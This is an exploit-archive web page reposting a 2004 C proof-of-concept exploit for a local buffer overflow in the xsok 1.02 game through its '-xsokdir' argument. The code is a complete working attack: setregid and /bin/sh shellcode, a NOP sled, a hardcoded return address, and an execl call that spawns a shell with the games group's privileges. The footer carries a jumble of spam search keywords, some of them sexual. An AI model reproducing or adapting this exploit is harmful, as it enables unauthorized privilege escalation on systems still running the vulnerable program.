about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Xsok v1.02 "-xsokdir" local buffer overflow game exploit



2004-01-02 Xsok v1.02 "-xsokdir" local buffer overflow game exploit
/* 0x333xsok (2) => xsok 1.02 local game exploit
 *
 * Happy new year ! (2 :)
 * coded by c0wboy 
 *
 * (c) 0x333 Outsiders Security Labs / www.0x333.org
 *
 */


#include <stdio.h>
#include <unistd.h>

#define BIN "/usr/games/xsok"
#define RETADD 0xbffffa3c
#define SIZE 200


unsigned char shellcode[] =

	/* setregid (20,20) shellcode */
	"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
	"\xcd\x80"

	/* exec /bin/sh shellcode */
	"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
	"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";


	
int main (int argc, char ** argv)
{
	int i, ret = RETADD;
	char out[SIZE];

	fprintf(stdout, "\n --- 0x333xsok => xsok 1.02 local games
exploit ---\n"); 
	fprintf(stdout, " --- Outsiders Se(c)urity Labs 2003
---\n\n");

	int *xsok = (int *)(out);

	for (i=0; i<SIZE-1 ; i+=4, *xsok++ = ret);

	memset((char *)out, 0x90, 63);
	memcpy((char *)out+63, shellcode, strlen(shellcode));

	execl (BIN, BIN, "-xsokdir", out, 0x0);
}
securitydot.net - 2004-01-02

Advertising

Copyright 2007, SecurityDot
Wed, 09 Dec 2009 14:34:58 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
Hunksrus www.pg13.c ip+board+2 Sex Ramya localhost Pictur wom Crack Data http://www phpBB XS 2 www.jl017. www.nettby Sex gerls Www.Teenis Cantantes www.sc57.c phpbb news zhoayimao. www.cwavv. gps-watch. Wap+phoner news searc VIDEO POR profitcode Sek+lokal www.aus888 thirisha s filem sex www.yotub. acme hotclips free sexy lo251l Video porn BIND 9.2.0 freepbx trisha sex WWW. Doodh See origin netgear dg CMS+is+Fre /administr mambo Remo brk, brk2, sanias sex news for c invision Indian sex amrita sex you tupe com_artlin